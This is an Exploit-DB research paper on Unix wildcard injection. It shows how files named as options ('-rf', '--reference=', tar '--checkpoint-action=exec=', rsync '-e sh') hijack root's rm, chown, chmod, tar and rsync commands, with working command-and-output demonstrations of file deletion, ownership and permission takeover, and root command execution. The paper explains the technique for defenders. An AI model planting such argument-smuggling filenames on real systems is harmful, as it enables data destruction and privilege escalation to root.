Back To The Future: Unix Wildcards Gone Wild

EDB-ID: 33930

CVE: N/A

EDB VERIFIED: ✓

Author: LEON JURANIC

Type: PAPERS

PAPER: / {}

Platform: LINUX

Published: 2014-06-30

VULNERABLE APP:


```
Back To The Future: Unix Wildcards Gone Wild
============================================
- Leon Juranic <leon@defensecode.com>
- Creation Date: 04/20/2013
- Release Date: 06/25/2014



Table Of Content:






===[ 1. Introduction

First of all, this article has nothing to do with modern hacking
techniques like ASLR bypass, ROP exploits, 0day remote kernel exploits or Chrome's
Chain-14-Different-Bugs-To-Get-There...
Nope, nothing of the above. This article will cover one interesting
old-school Unix hacking technique, that will still work nowadays in 2013.
Hacking technique of which (to my suprise) even many security-related people haven't heard of.
That is probably because nobody ever really talked about it before.
Why I decided to write on this subject is because, to me personally, it's pretty funny
to see what can be done with simple Unix wildcard poisoning tricks.
So, from this article, what you can expect is collection of neat *nix hacking
tricks that as far as I know somehow didn't emerge earlier.
If you wonder how basic Unix tools like 'tar' or 'chown' can lead to
full system compromise, keep on reading.
Ladies and gentleman; take your seats, fasten your belts and hold on tight
- cause we're going straight back to the 80's, right to the Unix shell hacking...
(Is this bad-hair-rock/groovy disco music playing in the background? I think sooo...)



===[ 2. Unix Wildcards For Dummies

If you already know what Unix wildcards are, and how (and why) are they
used in shell scripting, you should skip this part.
However, we will include Wildcard definition here just for the sake of
consistency and for potential newcomers.
Wildcard is a character, or set of characters that can be used as a
replacement for some range/class of characters. Wildcards are interpreted
by shell before any other action is taken.

Some Shell Wildcards:

    *     An asterisk matches any number of characters
          in a filename, including none.
    ?     The question mark matches any single
          character.
    [ ]   Brackets enclose a set of characters, any
          one of which may match a single character
          at that position.
    -     A hyphen used within [ ] denotes a range of
          characters.
    ~     A tilde at the beginning of a word expands
          to the name of your home directory.  If you
```

```
          append another user's login name to the
          character, it refers to that user's home
          directory.

Basic example of wildcards usage:

# ls *.php
- List all files with PHP extension

# rm *.gz
- Delete all GZIP files

# cat backup*
- Show content of all files which name is beginning with 'backup' string

# ls test?
- List all files whose name is beginning with string 'test' and has exactly
  one additional character



===[ 3. Wildcard Wilderness

Wildcards as their name states, are "wild" by their nature, but moreover,
in some cases, wildcards can go berserk.
During the initial phase of playing with this interesting wildcard tricks,
I've talked with dozen old-school Unix admins and security people,
just to find out how many of them knows about wildcard tricks, and
potential danger that they pose.
To my suprise, only two of 20 people stated that they know it's not
wise to use wildcard, particulary in 'rm' command, because someone
could abuse it with "argument-like-filename". One of them said that he
heard of that years ago on some basic Linux admin course. Funny.

Simple trick behind this technique is that when using shell wildcards,
especially asterisk (*), Unix shell will interpret files beginning with hyphen
(-) character as command line arguments to executed command/program.
That leaves space for variation of classic channeling attack.
Channeling problem will arise when different kind of information channels
are combined into single channel. Practical case in form of particulary this technique
is combining arguments and filenames, as different "channels" into single,
because of using shell wildcards.

Let's check one very basic wildcard argument injection example.

[root@defensecode public]# ls -al
total 20
drwxrwxr-x.  5 leon   leon   4096 Oct 28 17:04 .
drwx------. 22 leon   leon   4096 Oct 28 16:15 ..
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR1
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR2
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR3
-rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file1.txt
-rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file2.txt
-rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file3.txt
-rw-rw-r--.  1 nobody nobody    0 Oct 28 16:38 -rf

We have directory with few subdirectories and few files in it.
There is also file with '-rf' filename ther owned by the user 'nobody'.
Now, let's run 'rm *' command, and check directory content again.

[root@defensecode public]# rm *
[root@defensecode public]# ls -al
total 8
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:05 .
drwx------. 22 leon   leon   4096 Oct 28 16:15 ..
-rw-rw-r--.  1 nobody nobody    0 Oct 28 16:38 -rf


Directory is totally empty, except for '-rf' file in it.
All files and directories were recursively deleted, and it's pretty obvious what happened...
When we started 'rm' command with asterisk argument, all filenames in current
directory were passed as arguments to 'rm' on command line, exactly same as
following line:

[user@defensecode WILD]$ rm DIR1 DIR2 DIR3 file1.txt file2.txt file3.txt -rf

Since there is '-rf' filename in current directory, 'rm' got -rf option as the
last argument, and all files in current directory were recursively deleted.
We can also check that with strace:

[leon@defensecode WILD]$ strace rm *
execve("/bin/rm", ["rm", "DIR1", "DIR2", "DIR3", "file1.txt", "file2.txt",
"file3.txt", "-rf"], [/* 25 vars */]) = 0
             ^- HERE

Now we know how it's possible to inject arbitrary arguments to the unix
shell programs. In the following chapter we will discuss how we can abuse that
feature to do much more than just recursively delete files.



===[ 4. Something more useful...

Since now we know how it's possible to inject arbitrary arguments to
shell commands, let's demonstrate few examples that are more useful,
than just recursive file unlinking.
First, when I stumbled across this wildcard tricks, I was starting to look
for basic and common Unix programs that could be seriously affected
with arbitrary and unexpected arguments.
In real-world cases, following examples could be abused in form of direct
interactive shell poisoning, or through some commands started from cron job,
shell scripts, through some web application, and so on.
In all examples below, attacker is hidden behind 'leon' account, and victim
is of course - root account.



==[ 4.1 Chown file reference trick (file owner hijacking)

First really interesting target I've stumbled across is 'chown'.
Let's say that we have some publicly writeable directory with bunch of
PHP files in there, and root user wants to change owner of all PHP files to 'nobody'.
Pay attention to the file owners in the following files list.

[root@defensecode public]# ls -al
total 52
drwxrwxrwx.  2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
```

```
-rw-rw-r--.  1 user user   66 Oct 28 17:36 admin.php
-rw-rw-r--.  1 user user   34 Oct 28 17:35 ado.php
-rw-rw-r--.  1 user user   80 Oct 28 17:44 config.php
-rw-rw-r--.  1 user user  187 Oct 28 17:44 db.php
-rw-rw-r--.  1 user user  201 Oct 28 17:35 download.php
-rw-r--r--.  1 leon leon    0 Oct 28 17:40 .drf.php
-rw-rw-r--.  1 user user   43 Oct 28 17:35 file1.php
-rw-rw-r--.  1 user user   56 Oct 28 17:47 footer.php
-rw-rw-r--.  1 user user  357 Oct 28 17:36 global.php
-rw-rw-r--.  1 user user  225 Oct 28 17:35 header.php
-rw-rw-r--.  1 user user  117 Oct 28 17:35 inc.php
-rw-rw-r--.  1 user user  111 Oct 28 17:38 index.php
-rw-rw-r--.  1 leon leon    0 Oct 28 17:45 --reference=.drf.php
-rw-rw----.  1 user user   66 Oct 28 17:35 password.inc.php
-rw-rw-r--.  1 user user   94 Oct 28 17:35 script.php

Files in this public directory are mostly owned by the user named 'user',
and root user will now change that to 'nobody'.

[root@defensecode public]# chown -R nobody:nobody *.php

Let's see who owns files now...

[root@defensecode public]# ls -al
total 52
drwxrwxrwx.  2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--.  1 leon leon   66 Oct 28 17:36 admin.php
-rw-rw-r--.  1 leon leon   34 Oct 28 17:35 ado.php
-rw-rw-r--.  1 leon leon   80 Oct 28 17:44 config.php
-rw-rw-r--.  1 leon leon  187 Oct 28 17:44 db.php
-rw-rw-r--.  1 leon leon  201 Oct 28 17:35 download.php
-rw-r--r--.  1 leon leon    0 Oct 28 17:40 .drf.php
-rw-rw-r--.  1 leon leon   43 Oct 28 17:35 file1.php
-rw-rw-r--.  1 leon leon   56 Oct 28 17:47 footer.php
-rw-rw-r--.  1 leon leon  357 Oct 28 17:36 global.php
-rw-rw-r--.  1 leon leon  225 Oct 28 17:35 header.php
-rw-rw-r--.  1 leon leon  117 Oct 28 17:35 inc.php
-rw-rw-r--.  1 leon leon  111 Oct 28 17:38 index.php
-rw-rw-r--.  1 leon leon    0 Oct 28 17:45 --reference=.drf.php
-rw-rw----.  1 leon leon   66 Oct 28 17:35 password.inc.php
-rw-rw-r--.  1 leon leon   94 Oct 28 17:35 script.php

Something is not right... What happened? Somebody got drunk here.
Superuser tried to change files owner to the user:group 'nobody', but somehow,
all files are owned by the user 'leon' now.

If we take closer look, this directory previously contained just the
following two files created and owned by the user 'leon'.

-rw-r--r--.  1 leon leon    0 Oct 28 17:40 .drf.php
-rw-rw-r--.  1 leon leon    0 Oct 28 17:45 --reference=.drf.php

Thing is that wildcard character used in 'chown' command line took arbitrary
'--reference=.drf.php' file and passed it to the chown command at
the command line as an option.

Let's check chown manual page (man chown):
   --reference=RFILE
          use RFILE's owner and group rather than specifying OWNER:GROUP values

So in this case, '--reference' option to 'chown' will override 'nobody:nobody'
specified as the root, and new owner of files in this directory will be exactly
same as the owner of '.drf.php', which is in this case user 'leon'.
Just for the record, '.drf' is short for Dummy Reference File. :)

To conclude, reference option can be abused to change ownership of files to some
arbitrary user. If we set some other file as argument to the --reference option,
file that's owned by some other user, not 'leon', in that case he would become owner
of all files in this directory.

With this simple chown parameter pollution, we can trick root into changing ownership
of files to arbitrary users, and practically "hijack" files that are of interest to us.

Even more, if user 'leon' previously created a symbolic link in that directory
that points to let's say /etc/shadow, ownership of /etc/shadow would also be changed
to the user 'leon'.



===[ 4.2 Chmod file reference trick

Another interesting attack vector similar to previously described 'chown'
attack is 'chmod'.
Chmod also has --reference option that can be abused to specify arbitrary
permissions on files selected with asterisk wildcard.

Chmod manual page (man chmod):
       --reference=RFILE
              use RFILE's mode instead of MODE values

Example is presented below.

[root@defensecode public]# ls -al
total 68
drwxrwxrwx.  2 user user  4096 Oct 29 00:41 .
drwx------. 24 user user  4096 Oct 28 18:32 ..
-rw-rw-r--.  1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--.  1 user user    34 Oct 28 17:47 ado.php
-rw-rw-r--.  1 user user   187 Oct 28 17:44 db.php
-rw-rw-r--.  1 user user   201 Oct 28 17:43 download.php
-rwxrwxrwx.  1 leon leon     0 Oct 29 00:40 .drf.php
-rw-rw-r--.  1 user user    43 Oct 28 17:35 file1.php
-rw-rw-r--.  1 user user    56 Oct 28 17:47 footer.php
-rw-rw-r--.  1 user user   357 Oct 28 17:36 global.php
-rw-rw-r--.  1 user user   225 Oct 28 17:37 header.php
-rw-rw-r--.  1 user user   117 Oct 28 17:36 inc.php
-rw-rw-r--.  1 user user   111 Oct 28 17:38 index.php
-rw-r--r--.  1 leon leon     0 Oct 29 00:41 --reference=.drf.php
-rw-rw-r--.  1 user user    94 Oct 28 17:38 script.php

Superuser will now try to set mode 000 on all files.

[root@defensecode public]# chmod 000 *

Let's check permissions on files...

[root@defensecode public]# ls -al
total 68
drwxrwxrwx.  2 user user  4096 Oct 29 00:41 .
```

```
drwx------. 24 user user  4096 Oct 28 18:32 ..
-rwxrwxrwx.  1 user user 20480 Oct 28 19:13 admin.php
-rwxrwxrwx.  1 user user    34 Oct 28 17:47 ado.php
-rwxrwxrwx.  1 user user   187 Oct 28 17:44 db.php
-rwxrwxrwx.  1 user user   201 Oct 28 17:43 download.php
-rwxrwxrwx.  1 leon leon     0 Oct 29 00:40 .drf.php
-rwxrwxrwx.  1 user user    43 Oct 28 17:35 file1.php
-rwxrwxrwx.  1 user user    56 Oct 28 17:47 footer.php
-rwxrwxrwx.  1 user user   357 Oct 28 17:36 global.php
-rwxrwxrwx.  1 user user   225 Oct 28 17:37 header.php
-rwxrwxrwx.  1 user user   117 Oct 28 17:36 inc.php
-rwxrwxrwx.  1 user user   111 Oct 28 17:38 index.php
-rw-r--r--.  1 leon leon     0 Oct 29 00:41 --reference=.drf.php
-rwxrwxrwx.  1 user user    94 Oct 28 17:38 script.php
```

What happened? Instead of 000, all files are now set to mode 777 because
of the '--reference' option supplied through file name..
Once again, file .drf.php owned by user 'leon' with mode 777 was
used as reference file and since --reference option is supplied, all files
will be set to mode 777.
Beside just --reference option, attacker can also create another file with
'-R' filename, to change file permissions on files in all subdirectories recursively.

===[4.3 Tar arbitrary command execution

Previous example is nice example of file ownership hijacking. Now, let's go to even
more interesting stuff like arbitrary command execution. Tar is very common unix program
for creating and extracting archives.
Common usage for lets say creating archives is:

```
[root@defensecode public]# tar cvvf archive.tar *
```

So, what's the problem with 'tar'?
Thing is that tar has many options, and among them, there some pretty interesting
options from arbitrary parameter injection point of view.

Let's check tar manual page (man tar):

```
      --checkpoint[=NUMBER]
             display progress messages every NUMBERth record (default 10)

       --checkpoint-action=ACTION
             execute ACTION on each checkpoint
```

There is '--checkpoint-action' option, that will specify program which will
be executed when checkpoint is reached. Basically, that allows us arbitrary
command execution.

Check the following directory:

```
[root@defensecode public]# ls -al
total 72
drwxrwxrwx.  2 user user  4096 Oct 28 19:34 .
drwx------. 24 user user  4096 Oct 28 18:32 ..
-rw-rw-r--.  1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--.  1 user user    34 Oct 28 17:47 ado.php
-rw-r--r--.  1 leon leon     0 Oct 28 19:19 --checkpoint=1
-rw-r--r--.  1 leon leon     0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rw-rw-r--.  1 user user   187 Oct 28 17:44 db.php
-rw-rw-r--.  1 user user   201 Oct 28 17:43 download.php
-rw-rw-r--.  1 user user    43 Oct 28 17:35 file1.php
-rw-rw-r--.  1 user user    56 Oct 28 17:47 footer.php
-rw-rw-r--.  1 user user   357 Oct 28 17:36 global.php
-rw-rw-r--.  1 user user   225 Oct 28 17:37 header.php
-rw-rw-r--.  1 user user   117 Oct 28 17:36 inc.php
-rw-rw-r--.  1 user user   111 Oct 28 17:38 index.php
-rw-rw-r--.  1 user user    94 Oct 28 17:38 script.php
-rwxr-xr-x.  1 leon leon    12 Oct 28 19:17 shell.sh
```

Now, for example, root user wants to create archive of all files in current
directory.

```
[root@defensecode public]# tar cf archive.tar *

uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

Boom! What happened? /usr/bin/id command gets executed! We've just achieved arbitrary command
execution under root privileges.
Once again, there are few files created by user 'leon'.

```
-rw-r--r--.  1 leon leon     0 Oct 28 19:19 --checkpoint=1
-rw-r--r--.  1 leon leon     0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rwxr-xr-x.  1 leon leon    12 Oct 28 19:17 shell.sh
```

Options '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' are passed to the
'tar' program as command line options. Basically, they command tar to execute shell.sh
shell script upon the execution.

```
[root@defensecode public]# cat shell.sh
/usr/bin/id
```

So, with this tar argument pollution, we can basically execute arbitrary commands
with privileges of the user that runs tar. As demonstrated on the 'root' account above.

===[4.4 Rsync arbitrary command execution

Rsync is "a fast, versatile, remote (and local) file-copying tool", that is very
common on Unix systems.
If we check 'rsync' manual page, we can again find options that can be abused for arbitrary
command execution.

Rsync manual:
"You use rsync in the same way you use rcp. You must specify a source and a destination,
one of which may be remote."

Interesting rsync option from manual:

```
 -e, --rsh=COMMAND           specify the remote shell to use
     --rsync-path=PROGRAM    specify the rsync to run on remote machine
```

Let's abuse one example directly from the 'rsync' manual page.

```
Following example will copy all C files in local directory to a remote host 'foo'
in '/src' directory.
# rsync -t *.c foo:src/

Directory content:

[root@defensecode public]# ls -al
total 72
drwxrwxrwx.  2 user user  4096 Mar 28 04:47 .
drwx------. 24 user user  4096 Oct 28 18:32 ..
-rwxr-xr-x.  1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x.  1 user user    34 Oct 28 17:47 ado.php
-rwxr-xr-x.  1 user user   187 Oct 28 17:44 db.php
-rwxr-xr-x.  1 user user   201 Oct 28 17:43 download.php
-rw-r--r--.  1 leon leon     0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x.  1 user user    43 Oct 28 17:35 file1.php
-rwxr-xr-x.  1 user user    56 Oct 28 17:47 footer.php
-rwxr-xr-x.  1 user user   357 Oct 28 17:36 global.php
-rwxr-xr-x.  1 user user   225 Oct 28 17:37 header.php
-rwxr-xr-x.  1 user user   117 Oct 28 17:36 inc.php
-rwxr-xr-x.  1 user user   111 Oct 28 17:38 index.php
-rwxr-xr-x.  1 user user    94 Oct 28 17:38 script.php
-rwxr-xr-x.  1 leon leon    31 Mar 28 04:45 shell.c

Now root will try to copy all C files to the remote server.

[root@defensecode public]# rsync -t *.c foo:src/

rsync: connection unexpectedly closed (0 bytes received so far) [sender]
rsync error: error in rsync protocol data stream (code 12) at io.c(601) [sender=3.0.8]

Let's see what happened...

[root@defensecode public]# ls -al
total 76
drwxrwxrwx.  2 user user  4096 Mar 28 04:49 .
drwx------. 24 user user  4096 Oct 28 18:32 ..
-rwxr-xr-x.  1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x.  1 user user    34 Oct 28 17:47 ado.php
-rwxr-xr-x.  1 user user   187 Oct 28 17:44 db.php
-rwxr-xr-x.  1 user user   201 Oct 28 17:43 download.php
-rw-r--r--.  1 leon leon     0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x.  1 user user    43 Oct 28 17:35 file1.php
-rwxr-xr-x.  1 user user    56 Oct 28 17:47 footer.php
-rwxr-xr-x.  1 user user   357 Oct 28 17:36 global.php
-rwxr-xr-x.  1 user user   225 Oct 28 17:37 header.php
-rwxr-xr-x.  1 user user   117 Oct 28 17:36 inc.php
-rwxr-xr-x.  1 user user   111 Oct 28 17:38 index.php
-rwxr-xr-x.  1 user user    94 Oct 28 17:38 script.php
-rwxr-xr-x.  1 leon leon    31 Mar 28 04:45 shell.c
-rw-r--r--.  1 root root   101 Mar 28 04:49 shell_output.txt

There were two files owned by user 'leon', as listed below.

-rw-r--r--.  1 leon leon     0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x.  1 leon leon    31 Mar 28 04:45 shell.c

After 'rsync' execution, new file shell_output.txt whose owner is root
is created in same directory.

-rw-r--r--.  1 root root   101 Mar 28 04:49 shell_output.txt

If we check its content, following data is found.

[root@defensecode public]# cat shell_output.txt
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Trick is that because of the '*.c' wildcard, 'rsync' got '-e sh shell.c' option
on command line, and shell.c will be executed upon 'rsync' start.
Content of shell.c is presented below.

[root@defensecode public]# cat shell.c
/usr/bin/id > shell_output.txt



===[ 5. Conclusion

Techniques discussed in article can be applied in different forms on various popular
Unix tools. In real-world attacks, arbitrary shell options/arguments could be hidden
among regular files, and not so easily spotted by administrator. Moreover, in case of
cron jobs, shell scripts or web applications that calls shell commands, that's not
even important. Moreover, there are probably much more popular Unix tools susceptible
to previously described wildcard attacks.
Thanks to Hrvoje Spoljar and Sec-Consult for a few ideas regarding this document.
```

Tags:

Advisory/Source: Link